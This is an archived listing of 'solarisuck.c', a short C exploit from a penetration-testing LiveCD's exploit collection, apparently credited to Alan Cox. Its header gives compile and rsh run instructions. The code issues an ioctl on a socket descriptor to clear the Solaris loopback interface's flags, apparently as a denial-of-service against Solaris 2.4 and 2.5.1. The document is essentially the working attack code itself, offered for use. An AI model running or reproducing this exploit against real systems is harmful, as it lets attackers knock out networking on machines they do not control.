home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / solaris / remote / solarisuck.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  629b  |  27 lines

  1. /*
  2.      Solaris 2.4, 2.5.1 exploit by Alan Cox.
  3.      ---------------------------------------
  4.  
  5.       cc solarisuck.c -o solarisuck -lsocket
  6.       rsh localhost ./solarisuck
  7.  
  8. */
  9.  
  10. #include <stdio.h>
  11. #include <sys/types.h>
  12. #include <sys/socket.h>
  13. #include <sys/sockio.h>
  14. #include <net/if.h>
  15. #include <netinet/in.h>
  16.  
  17. int main(int argc, char *argv[])
  18. {
  19.   struct ifreq please_break_me;
  20.  
  21.   strcpy( please_break_me.ifr_name, "lo0");
  22.   please_break_me.ifr_flags=0;
  23.  
  24.   if(ioctl(0, SIOCSIFFLAGS, &please_break_me)==-1)
  25.     perror("Damn it didnt work. Obviously not Solaris ;)");
  26. }
  27. /*                    www.hack.co.za              [2000]*/